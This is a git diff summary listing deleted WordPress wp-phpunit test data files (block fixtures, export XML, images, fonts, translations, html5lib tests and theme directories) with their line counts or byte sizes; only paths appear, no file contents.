.../core__file__new-window.parsed.json | 24 - .../core__file__new-window.serialized.html | 3 - .../core__file__new-window.server.html | 3 - .../core__file__no-download-button.html | 3 - .../core__file__no-download-button.json | 17 - ...core__file__no-download-button.parsed.json | 24 - ...__file__no-download-button.serialized.html | 3 - ...core__file__no-download-button.server.html | 3 - .../fixtures/core__file__no-text-link.html | 3 - .../fixtures/core__file__no-text-link.json | 16 - .../core__file__no-text-link.parsed.json | 24 - .../core__file__no-text-link.serialized.html | 3 - .../core__file__no-text-link.server.html | 3 - .../data/blocks/fixtures/core__freeform.html | 6 - .../data/blocks/fixtures/core__freeform.json | 12 - .../fixtures/core__freeform.parsed.json | 20 - .../fixtures/core__freeform.serialized.html | 4 - .../fixtures/core__freeform.server.html | 6 - .../fixtures/core__freeform__undelimited.html | 4 - .../fixtures/core__freeform__undelimited.json | 12 - .../core__freeform__undelimited.parsed.json | 11 - ...ore__freeform__undelimited.serialized.html | 4 - .../core__freeform__undelimited.server.html | 4 - .../fixtures/core__gallery-with-caption.html | 26 - .../fixtures/core__gallery-with-caption.json | 46 - .../core__gallery-with-caption.parsed.json | 62 - ...core__gallery-with-caption.serialized.html | 9 - .../core__gallery-with-caption.server.html | 26 - .../data/blocks/fixtures/core__gallery.html | 25 - .../data/blocks/fixtures/core__gallery.json | 46 - .../blocks/fixtures/core__gallery.parsed.json | 53 - .../fixtures/core__gallery.serialized.html | 9 - .../blocks/fixtures/core__gallery.server.html | 25 - .../fixtures/core__gallery__columns.html | 23 - .../fixtures/core__gallery__columns.json | 46 - .../core__gallery__columns.parsed.json | 62 - .../core__gallery__columns.serialized.html | 9 - .../core__gallery__columns.server.html | 17 - .../fixtures/core__gallery__deprecated-1.html | 10 - .../fixtures/core__gallery__deprecated-1.json | 35 - .../core__gallery__deprecated-1.parsed.json | 21 - ...ore__gallery__deprecated-1.serialized.html | 9 - .../core__gallery__deprecated-1.server.html | 9 - .../fixtures/core__gallery__deprecated-2.html | 14 - .../fixtures/core__gallery__deprecated-2.json | 39 - .../core__gallery__deprecated-2.parsed.json | 21 - ...ore__gallery__deprecated-2.serialized.html | 9 - .../core__gallery__deprecated-2.server.html | 13 - .../fixtures/core__gallery__deprecated-3.html | 14 - .../fixtures/core__gallery__deprecated-3.json | 36 - .../core__gallery__deprecated-3.parsed.json | 21 - ...ore__gallery__deprecated-3.serialized.html | 9 - .../core__gallery__deprecated-3.server.html | 13 - .../fixtures/core__gallery__deprecated-4.html | 21 - .../fixtures/core__gallery__deprecated-4.json | 51 - .../core__gallery__deprecated-4.parsed.json | 21 - ...ore__gallery__deprecated-4.serialized.html | 13 - .../core__gallery__deprecated-4.server.html | 20 - .../fixtures/core__gallery__deprecated-5.html | 48 - .../fixtures/core__gallery__deprecated-5.json | 57 - .../core__gallery__deprecated-5.parsed.json | 21 - ...ore__gallery__deprecated-5.serialized.html | 13 - .../core__gallery__deprecated-5.server.html | 48 - .../fixtures/core__gallery__deprecated-6.html | 54 - .../fixtures/core__gallery__deprecated-6.json | 57 - .../core__gallery__deprecated-6.parsed.json | 21 - ...ore__gallery__deprecated-6.serialized.html | 13 - .../core__gallery__deprecated-6.server.html | 54 - .../fixtures/core__gallery__deprecated-7.html | 31 - .../fixtures/core__gallery__deprecated-7.json | 120 - .../core__gallery__deprecated-7.parsed.json | 123 - ...ore__gallery__deprecated-7.serialized.html | 27 - .../core__gallery__deprecated-7.server.html | 15 - .../blocks/fixtures/core__heading__h2-em.html | 3 - .../blocks/fixtures/core__heading__h2-em.json | 13 - .../fixtures/core__heading__h2-em.parsed.json | 20 - .../core__heading__h2-em.serialized.html | 3 - .../fixtures/core__heading__h2-em.server.html | 3 - .../blocks/fixtures/core__heading__h2.html | 3 - .../blocks/fixtures/core__heading__h2.json | 13 - .../fixtures/core__heading__h2.parsed.json | 20 - .../core__heading__h2.serialized.html | 3 - .../fixtures/core__heading__h2.server.html | 3 - .../data/blocks/fixtures/core__html.html | 4 - .../data/blocks/fixtures/core__html.json | 12 - .../blocks/fixtures/core__html.parsed.json | 20 - .../fixtures/core__html.serialized.html | 4 - .../blocks/fixtures/core__html.server.html | 4 - .../data/blocks/fixtures/core__image.html | 3 - .../data/blocks/fixtures/core__image.json | 15 - .../blocks/fixtures/core__image.parsed.json | 20 - .../fixtures/core__image.serialized.html | 3 - .../blocks/fixtures/core__image.server.html | 3 - .../core__image__attachment-link.html | 3 - .../core__image__attachment-link.json | 16 - .../core__image__attachment-link.parsed.json | 22 - ...re__image__attachment-link.serialized.html | 3 - .../core__image__attachment-link.server.html | 3 - .../fixtures/core__image__center-caption.html | 3 - .../fixtures/core__image__center-caption.json | 16 - .../core__image__center-caption.parsed.json | 22 - ...ore__image__center-caption.serialized.html | 3 - .../core__image__center-caption.server.html | 3 - .../fixtures/core__image__custom-link.html | 3 - .../fixtures/core__image__custom-link.json | 16 - .../core__image__custom-link.parsed.json | 22 - .../core__image__custom-link.serialized.html | 3 - .../core__image__custom-link.server.html | 3 - .../fixtures/core__image__media-link.html | 3 - .../fixtures/core__image__media-link.json | 16 - .../core__image__media-link.parsed.json | 22 - .../core__image__media-link.serialized.html | 3 - .../core__image__media-link.server.html | 3 - .../fixtures/core__invalid-Capitals.html | 1 - .../fixtures/core__invalid-Capitals.json | 12 - .../core__invalid-Capitals.parsed.json | 11 - .../core__invalid-Capitals.serialized.html | 1 - .../core__invalid-Capitals.server.html | 1 - .../fixtures/core__invalid-special.html | 1 - .../fixtures/core__invalid-special.json | 12 - .../core__invalid-special.parsed.json | 11 - .../core__invalid-special.serialized.html | 1 - .../core__invalid-special.server.html | 1 - .../fixtures/core__latest-comments.html | 1 - .../fixtures/core__latest-comments.json | 15 - .../core__latest-comments.parsed.json | 22 - .../core__latest-comments.serialized.html | 1 - .../core__latest-comments.server.html | 1 - .../blocks/fixtures/core__latest-posts.html | 1 - .../blocks/fixtures/core__latest-posts.json | 17 - .../fixtures/core__latest-posts.parsed.json | 21 - .../core__latest-posts.serialized.html | 1 - .../fixtures/core__latest-posts.server.html | 1 - .../core__latest-posts__displayPostDate.html | 1 - .../core__latest-posts__displayPostDate.json | 17 - ..._latest-posts__displayPostDate.parsed.json | 21 - ...est-posts__displayPostDate.serialized.html | 1 - ..._latest-posts__displayPostDate.server.html | 1 - .../data/blocks/fixtures/core__list__ul.html | 3 - .../data/blocks/fixtures/core__list__ul.json | 13 - .../fixtures/core__list__ul.parsed.json | 20 - .../fixtures/core__list__ul.serialized.html | 3 - .../fixtures/core__list__ul.server.html | 3 - .../blocks/fixtures/core__media-text.html | 12 - .../blocks/fixtures/core__media-text.json | 33 - .../fixtures/core__media-text.parsed.json | 38 - .../fixtures/core__media-text.serialized.html | 5 - .../fixtures/core__media-text.server.html | 12 - .../core__media-text__image-alt-no-align.html | 12 - .../core__media-text__image-alt-no-align.json | 33 - ...media-text__image-alt-no-align.parsed.json | 39 - ...a-text__image-alt-no-align.serialized.html | 5 - ...media-text__image-alt-no-align.server.html | 12 - ...ore__media-text__is-stacked-on-mobile.html | 12 - ...ore__media-text__is-stacked-on-mobile.json | 33 - ...dia-text__is-stacked-on-mobile.parsed.json | 39 - ...text__is-stacked-on-mobile.serialized.html | 5 - ...dia-text__is-stacked-on-mobile.server.html | 12 - ..._media-text__media-right-custom-width.html | 12 - ..._media-text__media-right-custom-width.json | 34 - ...text__media-right-custom-width.parsed.json | 42 - ...__media-right-custom-width.serialized.html | 5 - ...text__media-right-custom-width.server.html | 12 - .../fixtures/core__media-text__video.html | 12 - .../fixtures/core__media-text__video.json | 33 - .../core__media-text__video.parsed.json | 38 - .../core__media-text__video.serialized.html | 5 - .../core__media-text__video.server.html | 12 - .../data/blocks/fixtures/core__missing.html | 6 - .../data/blocks/fixtures/core__missing.json | 14 - .../blocks/fixtures/core__missing.parsed.json | 19 - .../fixtures/core__missing.serialized.html | 6 - .../blocks/fixtures/core__missing.server.html | 6 - .../data/blocks/fixtures/core__more.html | 3 - .../data/blocks/fixtures/core__more.json | 12 - .../blocks/fixtures/core__more.parsed.json | 16 - .../fixtures/core__more.serialized.html | 3 - .../blocks/fixtures/core__more.server.html | 3 - .../core__more__custom-text-teaser.html | 4 - .../core__more__custom-text-teaser.json | 13 - ...core__more__custom-text-teaser.parsed.json | 19 - ...__more__custom-text-teaser.serialized.html | 4 - ...core__more__custom-text-teaser.server.html | 4 - .../data/blocks/fixtures/core__nextpage.html | 3 - .../data/blocks/fixtures/core__nextpage.json | 10 - .../fixtures/core__nextpage.parsed.json | 16 - .../fixtures/core__nextpage.serialized.html | 3 - .../fixtures/core__nextpage.server.html | 3 - .../core__paragraph__align-right.html | 3 - .../core__paragraph__align-right.json | 14 - .../core__paragraph__align-right.parsed.json | 18 - ...re__paragraph__align-right.serialized.html | 3 - .../core__paragraph__align-right.server.html | 3 - .../fixtures/core__paragraph__deprecated.html | 3 - .../fixtures/core__paragraph__deprecated.json | 13 - .../core__paragraph__deprecated.parsed.json | 16 - ...ore__paragraph__deprecated.serialized.html | 3 - .../core__paragraph__deprecated.server.html | 3 - .../blocks/fixtures/core__preformatted.html | 3 - .../blocks/fixtures/core__preformatted.json | 12 - .../fixtures/core__preformatted.parsed.json | 16 - .../core__preformatted.serialized.html | 3 - .../fixtures/core__preformatted.server.html | 3 - .../data/blocks/fixtures/core__pullquote.html | 7 - .../data/blocks/fixtures/core__pullquote.json | 13 - .../fixtures/core__pullquote.parsed.json | 16 - .../fixtures/core__pullquote.serialized.html | 3 - .../fixtures/core__pullquote.server.html | 7 - .../core__pullquote__multi-paragraph.html | 9 - .../core__pullquote__multi-paragraph.json | 13 - ...re__pullquote__multi-paragraph.parsed.json | 16 - ...pullquote__multi-paragraph.serialized.html | 3 - ...re__pullquote__multi-paragraph.server.html | 9 - .../blocks/fixtures/core__quote__style-1.html | 3 - .../blocks/fixtures/core__quote__style-1.json | 13 - .../fixtures/core__quote__style-1.parsed.json | 16 - .../core__quote__style-1.serialized.html | 3 - .../fixtures/core__quote__style-1.server.html | 3 - .../blocks/fixtures/core__quote__style-2.html | 3 - .../blocks/fixtures/core__quote__style-2.json | 14 - .../fixtures/core__quote__style-2.parsed.json | 18 - .../core__quote__style-2.serialized.html | 3 - .../fixtures/core__quote__style-2.server.html | 3 - .../data/blocks/fixtures/core__separator.html | 3 - .../data/blocks/fixtures/core__separator.json | 10 - .../fixtures/core__separator.parsed.json | 16 - .../fixtures/core__separator.serialized.html | 3 - .../fixtures/core__separator.server.html | 3 - .../data/blocks/fixtures/core__shortcode.html | 3 - .../data/blocks/fixtures/core__shortcode.json | 12 - .../fixtures/core__shortcode.parsed.json | 16 - .../fixtures/core__shortcode.serialized.html | 3 - .../fixtures/core__shortcode.server.html | 2 - .../data/blocks/fixtures/core__spacer.html | 3 - .../data/blocks/fixtures/core__spacer.json | 12 - .../blocks/fixtures/core__spacer.parsed.json | 16 - .../fixtures/core__spacer.serialized.html | 3 - .../blocks/fixtures/core__spacer.server.html | 3 - .../data/blocks/fixtures/core__subhead.html | 3 - .../data/blocks/fixtures/core__subhead.json | 12 - .../blocks/fixtures/core__subhead.parsed.json | 16 - .../fixtures/core__subhead.serialized.html | 3 - .../blocks/fixtures/core__subhead.server.html | 3 - .../data/blocks/fixtures/core__table.html | 3 - .../data/blocks/fixtures/core__table.json | 145 - .../blocks/fixtures/core__table.parsed.json | 16 - .../fixtures/core__table.serialized.html | 3 - .../blocks/fixtures/core__table.server.html | 3 - .../blocks/fixtures/core__text-columns.html | 10 - .../blocks/fixtures/core__text-columns.json | 21 - .../fixtures/core__text-columns.parsed.json | 18 - .../core__text-columns.serialized.html | 3 - .../fixtures/core__text-columns.server.html | 10 - .../core__text__converts-to-paragraph.html | 3 - .../core__text__converts-to-paragraph.json | 13 - ...e__text__converts-to-paragraph.parsed.json | 16 - ...ext__converts-to-paragraph.serialized.html | 3 - ...e__text__converts-to-paragraph.server.html | 3 - .../data/blocks/fixtures/core__verse.html | 3 - .../data/blocks/fixtures/core__verse.json | 12 - .../blocks/fixtures/core__verse.parsed.json | 16 - .../fixtures/core__verse.serialized.html | 3 - .../blocks/fixtures/core__verse.server.html | 3 - .../data/blocks/fixtures/core__video.html | 3 - .../data/blocks/fixtures/core__video.json | 18 - .../blocks/fixtures/core__video.parsed.json | 16 - .../fixtures/core__video.serialized.html | 3 - .../blocks/fixtures/core__video.server.html | 3 - .../data/blocks/hooked-block-error/block.json | 9 - .../data/blocks/notice/block-rtl.css | 1 - .../data/blocks/notice/block-view.css | 1 - .../data/blocks/notice/block.asset.php | 6 - .../wp-phpunit/data/blocks/notice/block.css | 1 - .../wp-phpunit/data/blocks/notice/block.js | 1 - .../wp-phpunit/data/blocks/notice/block.json | 76 - .../wp-phpunit/data/blocks/notice/render.php | 1 - .../blocks/notice/shared-script.asset.php | 7 - .../data/blocks/notice/shared-script.js | 1 - .../data/blocks/notice/variations.php | 10 - .../blocks/pattern-directory/browse-all.json | 56 - .../pattern-directory/browse-category-2.json | 38 - .../pattern-directory/browse-keyword-11.json | 56 - .../pattern-directory/search-button.json | 74 - .../data/export/crazy-cdata-escaped.xml | 46 - .../wp-phpunit/data/export/crazy-cdata.xml | 46 - .../data/export/invalid-version-tag.xml | 91 - .../wp-phpunit/data/export/malformed.xml | 91 - .../data/export/missing-version-tag.xml | 90 - .../wp-phpunit/data/export/slashes.xml | 77 - .../wp-phpunit/data/export/small-export.xml | 447 --- .../test-serialized-postmeta-no-cdata.xml | 69 - .../test-serialized-postmeta-with-cdata.xml | 77 - .../data/export/test-utw-post-meta-import.xml | 69 - .../wp-phpunit/data/export/valid-wxr-1.0.xml | 282 -- .../wp-phpunit/data/export/valid-wxr-1.1.xml | 112 - .../data/feed/AtomParser_Parse_Test.xml | 54 - .../data/feed/wordpress-org-news.xml | 910 ----- .../data/filesystem/_source-license | 33 - .../data/filesystem/archive-comment.zip | Bin 128 -> 0 bytes .../data/filesystem/archive-cp866.zip | Bin 128 -> 0 bytes .../filesystem/archive-directory-entry.zip | Bin 129 -> 0 bytes .../data/filesystem/archive-encrypted.zip | Bin 129 -> 0 bytes .../data/filesystem/archive-flags-set.zip | Bin 129 -> 0 bytes .../data/filesystem/archive-gnome.zip | Bin 129 -> 0 bytes .../data/filesystem/archive-invalid-ext.md | 7 - .../data/filesystem/archive-invalid.zip | Bin 129 -> 0 bytes .../data/filesystem/archive-large.zip | Bin 132 -> 0 bytes .../data/filesystem/archive-macos.zip | Bin 129 -> 0 bytes .../filesystem/archive-ubuntu-nautilus.zip | Bin 128 -> 0 bytes .../data/filesystem/archive-uncompressed.zip | Bin 128 -> 0 bytes .../wp-phpunit/data/filesystem/archive.crx | Bin 2202 -> 0 bytes .../wp-phpunit/data/filesystem/archive.zip | Bin 128 -> 0 bytes .../data/fonts/OpenSans-Regular.otf | Bin 254960 -> 0 bytes .../data/fonts/OpenSans-Regular.ttf | Bin 130976 -> 0 bytes .../data/fonts/OpenSans-Regular.woff | Bin 63712 -> 0 bytes .../data/fonts/OpenSans-Regular.woff2 | Bin 47016 -> 0 bytes .../wp-phpunit/data/formatting/big5.txt | 5 - .../wp-phpunit/data/formatting/entities.txt | 255 -- .../file-header-cr-line-endings.php | 1 - .../file-header-php-open-tag-prefix.php | 1 - .../formatting/remove_accents.01.input.txt | 1 - .../wp-phpunit/data/formatting/sizzle.js | 1445 -------- .../wp-phpunit/data/formatting/utf-8/README | 15 - .../data/formatting/utf-8/urlencode.py | 33 - .../data/formatting/utf-8/urlencoded.txt | 6 - .../data/formatting/utf-8/utf-8.txt | 6 - .../data/formatting/whole-posts.php | 1282 ------- .../wp-phpunit/data/formatting/windows1252.py | 27 - .../wp-phpunit/data/formatting/xssAttacks.xml | 976 ------ .../wp-phpunit/data/functions/dummy.txt | 1 - .../token-counting-html-processor.php | 35 - .../wp-phpunit/data/html5-entities/README.md | 25 - .../data/html5-entities/entities.json | 2233 ------------ ...erate-html5-named-character-references.php | 101 - .../data/html5lib-tests/.gitattributes | 1 - .../data/html5lib-tests/AUTHORS.rst | 34 - .../wp-phpunit/data/html5lib-tests/LICENSE | 21 - .../wp-phpunit/data/html5lib-tests/README.md | 25 - .../tree-construction/README.md | 108 - .../tree-construction/adoption01.dat | 354 -- .../tree-construction/adoption02.dat | 39 - .../tree-construction/blocks.dat | 695 ---- .../tree-construction/comments01.dat | 217 -- .../tree-construction/doctype01.dat | 474 --- .../tree-construction/domjs-unsafe.dat | Bin 10356 -> 0 bytes .../tree-construction/entities01.dat | 943 ----- .../tree-construction/entities02.dat | 309 -- .../tree-construction/foreign-fragment.dat | 645 ---- .../tree-construction/html5test-com.dat | 301 -- .../tree-construction/inbody01.dat | 54 - .../tree-construction/isindex.dat | 49 - .../tree-construction/main-element.dat | 46 - .../html5lib-tests/tree-construction/math.dat | 104 - .../tree-construction/menuitem-element.dat | 240 -- .../namespace-sensitivity.dat | 22 - .../tree-construction/noscript01.dat | 237 -- ...pending-spec-changes-plain-text-unsafe.dat | Bin 927 -> 0 bytes .../pending-spec-changes.dat | 46 - .../tree-construction/plain-text-unsafe.dat | Bin 9486 -> 0 bytes .../tree-construction/quirks01.dat | 53 - .../html5lib-tests/tree-construction/ruby.dat | 302 -- .../tree-construction/scriptdata01.dat | 372 -- .../tree-construction/search-element.dat | 46 - .../html5lib-tests/tree-construction/svg.dat | 104 - .../tree-construction/tables01.dat | 322 -- .../tree-construction/template.dat | 1673 --------- .../tree-construction/tests1.dat | 1956 ----------- .../tree-construction/tests10.dat | 849 ----- .../tree-construction/tests11.dat | 523 --- .../tree-construction/tests12.dat | 62 - .../tree-construction/tests14.dat | 75 - .../tree-construction/tests15.dat | 216 -- .../tree-construction/tests16.dat | 2602 -------------- .../tree-construction/tests17.dat | 179 - .../tree-construction/tests18.dat | 558 --- .../tree-construction/tests19.dat | 1398 -------- .../tree-construction/tests2.dat | 831 ----- .../tree-construction/tests20.dat | 842 ----- .../tree-construction/tests21.dat | 306 -- .../tree-construction/tests22.dat | 190 - .../tree-construction/tests23.dat | 168 - .../tree-construction/tests24.dat | 79 - .../tree-construction/tests25.dat | 288 -- .../tree-construction/tests26.dat | 453 --- .../tree-construction/tests3.dat | 305 -- .../tree-construction/tests4.dat | 74 - .../tree-construction/tests5.dat | 210 -- .../tree-construction/tests6.dat | 663 ---- .../tree-construction/tests7.dat | 453 --- .../tree-construction/tests8.dat | 165 - .../tree-construction/tests9.dat | 472 --- .../tree-construction/tests_innerHTML_1.dat | 843 ----- .../tree-construction/tricky01.dat | 336 -- .../tree-construction/webkit01.dat | 785 ----- .../tree-construction/webkit02.dat | 554 --- .../data/images/2007-06-17DSC_4173.JPG | Bin 95186 -> 0 bytes .../data/images/avif-alpha-grid2x1.avif | Bin 924 -> 0 bytes .../wp-phpunit/data/images/avif-animated.avif | Bin 24483 -> 0 bytes .../wp-phpunit/data/images/avif-lossless.avif | Bin 28490 -> 0 bytes .../wp-phpunit/data/images/avif-lossy.avif | Bin 13513 -> 0 bytes .../data/images/avif-transparent.avif | Bin 719 -> 0 bytes .../data/images/color_grid_alpha_nogrid.avif | Bin 2373 -> 0 bytes .../wp-phpunit/data/images/colors_hdr_p3.avif | Bin 26532 -> 0 bytes .../wp-phpunit/data/images/test-alpha.pdf | Bin 7175 -> 0 bytes .../wp-phpunit/data/images/test-image-2.gif | Bin 128 -> 0 bytes .../data/images/test-image-lzw.tiff | Bin 10404 -> 0 bytes .../data/images/test-image-no-extension | Bin 524 -> 0 bytes .../data/images/test-image-rotated-90cw.webp | Bin 15858 -> 0 bytes .../data/images/test-image-zip.tiff | Bin 1922 -> 0 bytes .../wp-phpunit/data/images/test-image.bmp | Bin 10054 -> 0 bytes .../wp-phpunit/data/images/test-image.gif | Bin 128 -> 0 bytes .../wp-phpunit/data/images/test-image.heic | Bin 279778 -> 0 bytes .../wp-phpunit/data/images/test-image.ico | Bin 7358 -> 0 bytes .../wp-phpunit/data/images/test-image.jp2 | Bin 705 -> 0 bytes .../wp-phpunit/data/images/test-image.jpeg | Bin 129 -> 0 bytes .../wp-phpunit/data/images/test-image.pct | Bin 12046 -> 0 bytes .../wp-phpunit/data/images/test-image.psd | Bin 41154 -> 0 bytes .../wp-phpunit/data/images/test-image.sgi | Bin 4026 -> 0 bytes .../wp-phpunit/data/images/test-image.tga | Bin 1516 -> 0 bytes .../wp-phpunit/data/images/test-image.tiff | Bin 10404 -> 0 bytes .../wp-phpunit/data/images/test-image.webp | Bin 366 -> 0 bytes .../wp-phpunit/data/images/webp-animated.webp | Bin 508 -> 0 bytes .../wp-phpunit/data/images/webp-lossless.webp | Bin 584220 -> 0 bytes .../wp-phpunit/data/images/webp-lossy.webp | Bin 42798 -> 0 bytes .../data/images/webp-transparent.webp | Bin 58894 -> 0 bytes .../data/images/wordpress-gsoc-flyer.pdf | Bin 12895 -> 0 bytes .../wp-phpunit/data/l10n/example-simple.mo | Bin 467 -> 0 bytes .../wp-phpunit/data/l10n/example-simple.php | 11 - .../wp-phpunit/data/l10n/example-simple.po | 26 - .../wp-phpunit/wp-phpunit/data/l10n/fa_IR.mo | Bin 541 -> 0 bytes .../wp-phpunit/data/l10n/plural-complex.mo | Bin 580 -> 0 bytes .../wp-phpunit/data/l10n/plural-complex.php | 2 - .../wp-phpunit/wp-phpunit/data/l10n/plural.mo | Bin 268 -> 0 bytes .../wp-phpunit/wp-phpunit/data/l10n/simple.mo | Bin 202 -> 0 bytes .../data/languages/admin-en_GB.l10n.php | 2 - .../wp-phpunit/data/languages/admin-en_GB.mo | Bin 1221 -> 0 bytes .../wp-phpunit/data/languages/admin-en_GB.po | 35 - .../languages/admin-en_US-script-handle.json | 17 - .../data/languages/admin-es_ES.l10n.php | 2 - .../wp-phpunit/data/languages/admin-es_ES.mo | Bin 1303 -> 0 bytes .../wp-phpunit/data/languages/admin-es_ES.po | 35 - .../languages/admin-network-en_GB.l10n.php | 2 - .../data/languages/admin-network-en_GB.mo | Bin 916 -> 0 bytes .../data/languages/admin-network-en_GB.po | 34 - .../languages/admin-network-es_ES.l10n.php | 2 - .../data/languages/admin-network-es_ES.mo | Bin 1014 -> 0 bytes .../data/languages/admin-network-es_ES.po | 33 - .../continents-cities-es_ES.l10n.php | 2 - .../data/languages/continents-cities-es_ES.mo | Bin 506 -> 0 bytes .../data/languages/continents-cities-es_ES.po | 32 - .../wp-phpunit/data/languages/de_CH.l10n.php | 2 - .../wp-phpunit/data/languages/de_DE.l10n.php | 2 - .../wp-phpunit/data/languages/de_DE.mo | Bin 863 -> 0 bytes .../wp-phpunit/data/languages/de_DE.po | 59 - .../wp-phpunit/data/languages/en_GB.l10n.php | 2 - .../wp-phpunit/data/languages/en_GB.mo | Bin 700 -> 0 bytes .../wp-phpunit/data/languages/en_GB.po | 38 - ...n_US-813e104eb47e13dd4cc5af844c618754.json | 30 - .../wp-phpunit/data/languages/es_ES.l10n.php | 2 - .../wp-phpunit/data/languages/es_ES.mo | Bin 1006 -> 0 bytes .../wp-phpunit/data/languages/es_ES.po | 55 - .../wp-phpunit/data/languages/ja_JP.l10n.php | 2 - .../wp-phpunit/data/languages/ja_JP.mo | Bin 816 -> 0 bytes .../wp-phpunit/data/languages/ja_JP.po | 69 - .../internationalized-plugin-2-de_DE.l10n.php | 2 - .../internationalized-plugin-2-es_ES.l10n.php | 2 - .../plugins/internationalized-plugin-de_DE.mo | Bin 640 -> 0 bytes .../plugins/internationalized-plugin-de_DE.po | 23 - ...n_US-2f86cb96a0233e7cb3b6f03ad573be0b.json | 17 - .../plugins/internationalized-plugin-es_ES.mo | Bin 639 -> 0 bytes .../plugins/internationalized-plugin-es_ES.po | 23 - .../data/languages/plugins/notice-pl_PL.mo | Bin 1181 -> 0 bytes .../data/languages/plugins/notice-pl_PL.po | 55 - .../languages/themes/block-theme-pl_PL.mo | Bin 970 -> 0 bytes .../languages/themes/block-theme-pl_PL.po | 43 - .../themes/internationalized-theme-de_DE.mo | Bin 638 -> 0 bytes .../themes/internationalized-theme-de_DE.po | 23 - ...n_US-2f86cb96a0233e7cb3b6f03ad573be0b.json | 17 - .../custom-internationalized-plugin.php | 18 - .../custom-internationalized-plugin-de_DE.mo | Bin 655 -> 0 bytes .../custom-internationalized-plugin-de_DE.po | 23 - .../custom-internationalized-plugin-es_ES.mo | Bin 654 -> 0 bytes .../custom-internationalized-plugin-es_ES.po | 23 - .../wp-phpunit/data/plugins/hello.php | 11 - .../plugins/internationalized-plugin-2.php | 12 - .../data/plugins/internationalized-plugin.php | 12 - .../wp-phpunit/data/plugins/link-manager.json | 1 - .../wp-phpunit/data/plugins/link-manager.zip | Bin 128 -> 0 bytes .../wp-phpunit/data/pomo/bad_nplurals.mo | Bin 525 -> 0 bytes .../wp-phpunit/data/pomo/bad_nplurals.po | 18 - .../wp-phpunit/data/pomo/context.mo | Bin 197 -> 0 bytes .../wp-phpunit/data/pomo/de_DE-2.8.mo | Bin 302972 -> 0 bytes .../wp-phpunit/wp-phpunit/data/pomo/empty.po | 0 .../wp-phpunit/wp-phpunit/data/pomo/mo.pot | 25 - .../wp-phpunit/data/pomo/overload.mo | Bin 367499 -> 0 bytes .../wp-phpunit/wp-phpunit/data/pomo/plural.mo | Bin 268 -> 0 bytes .../wp-phpunit/data/pomo/simple.l10n.php | 3 - .../wp-phpunit/wp-phpunit/data/pomo/simple.mo | Bin 202 -> 0 bytes .../wp-phpunit/wp-phpunit/data/pomo/simple.po | 54 - .../data/pomo/windows-line-endings.po | 7 - .../template-with-nested-template-part.html | 3 - ...te-part-with-existing-theme-attribute.html | 1 - .../template-with-template-part.html | 1 - .../wp-phpunit/data/templates/template.html | 3 - .../data/theme-file-child/child-only.php | 1 - .../theme-file-child/parent-and-child.php | 1 - .../data/theme-file-child/style.css | 4 - .../theme-file-parent/parent-and-child.php | 1 - .../data/theme-file-parent/parent-only.php | 1 - .../data/theme-file-parent/style.css | 3 - .../block-template-parts/small-header.html | 3 - .../style.css | 8 - .../templates/index.html | 3 - .../theme.json | 72 - .../block-theme-child-no-theme-json/style.css | 8 - .../style.css | 8 - .../styles/block-style-variation-a.json | 10 - .../theme.json | 55 - .../style.css | 8 - .../theme.json | 13 - .../style.css | 8 - .../theme.json | 17 - .../style.css | 8 - .../theme.json | 10 - .../blocks/example-block/block.json | 9 - .../blocks/example-block/editor-style-rtl.css | 1 - .../blocks/example-block/editor-style.css | 1 - .../blocks/example-block/index.asset.php | 6 - .../blocks/example-block/index.js | 1 - .../blocks/example-block/style-rtl.css | 1 - .../blocks/example-block/style.css | 1 - .../blocks/example-block/view.asset.php | 6 - .../blocks/example-block/view.js | 1 - .../themedir1/block-theme-child/page-home.php | 3 - .../themedir1/block-theme-child/style.css | 8 - .../block-theme-child/styles/variation-a.json | 18 - .../block-theme-child/styles/variation-b.json | 18 - .../block-theme-child/templates/page-1.html | 3 - .../themedir1/block-theme-child/theme.json | 52 - .../block-templates/index.html | 3 - .../block-templates/page-home.html | 3 - .../block-templates/page.html | 3 - .../parts/small-header.html | 3 - .../block-theme-deprecated-path/style.css | 7 - .../styles/variation.json | 23 - .../block-theme-deprecated-path/theme.json | 72 - .../themedir1/block-theme-non-latin/index.php | 4 - .../block-theme-non-latin/page-1.php | 3 - .../parts/small-header-test.html | 3 - .../themedir1/block-theme-non-latin/style.css | 7 - .../templates/page-test.html | 3 - .../block-theme-non-latin/theme.json | 81 - .../block-theme-patterns/patterns/cta.php | 36 - .../themedir1/block-theme-patterns/style.css | 8 - .../style.css | 7 - .../templates/index.html | 3 - .../templates/single.html | 2 - .../theme.json | 105 - .../blocks/hooked-after/block.json | 9 - .../blocks/hooked-after/render.php | 1 - .../blocks/hooked-before/block.json | 9 - .../blocks/hooked-before/render.php | 1 - .../blocks/hooked-first-child/block.json | 9 - .../blocks/hooked-first-child/render.php | 1 - .../blocks/hooked-last-child/block.json | 9 - .../blocks/hooked-last-child/render.php | 1 - .../parts/comments.html | 1 - .../parts/footer.html | 1 - .../parts/header.html | 10 - .../patterns/footer-default.php | 28 - .../patterns/hidden-comments.php | 57 - .../patterns/post-meta.php | 76 - .../block-theme-with-hooked-blocks/style.css | 7 - .../templates/index.html | 23 - .../templates/single.html | 18 - .../block-theme-with-hooked-blocks/theme.json | 21 - .../blocks/example-block/block.json | 9 - .../blocks/example-block/editor-style-rtl.css | 1 - .../blocks/example-block/editor-style.css | 1 - .../blocks/example-block/index.asset.php | 6 - .../block-theme/blocks/example-block/index.js | 1 - .../blocks/example-block/style-rtl.css | 1 - .../blocks/example-block/style.css | 1 - .../blocks/example-block/view.asset.php | 6 - .../block-theme/blocks/example-block/view.js | 1 - .../data/themedir1/block-theme/functions.php | 7 - .../data/themedir1/block-theme/index.php | 4 - .../data/themedir1/block-theme/page-1.php | 3 - .../block-theme/parts/small-header.html | 3 - .../data/themedir1/block-theme/style.css | 7 - .../styles/block-style-variation-a.json | 10 - .../styles/block-style-variation-b.json | 10 - .../block-style-variation-with-slug.json | 12 - .../block-theme/styles/variation-a.json | 18 - .../block-theme/styles/variation-b.json | 25 - .../block-theme/styles/variation.json | 24 - .../templates/custom-hero-template.html | 3 - .../custom-single-post-template.html | 3 - .../block-theme/templates/index.html | 3 - .../block-theme/templates/page-home.html | 3 - .../themedir1/block-theme/templates/page.html | 3 - .../block-theme/templates/single.html | 2 - .../data/themedir1/block-theme/theme.json | 149 - .../themedir1/block_theme-[0.4.0]/index.php | 4 - .../themedir1/block_theme-[0.4.0]/page-1.php | 3 - .../parts/large-header.html | 3 - .../themedir1/block_theme-[0.4.0]/style.css | 7 - .../templates/page-large-header.html | 9 - .../themedir1/block_theme-[0.4.0]/theme.json | 72 - .../data/themedir1/broken-theme/.nodelete | 0 .../data/themedir1/camelCase/index.php | 5 - .../data/themedir1/camelCase/style.css | 11 - 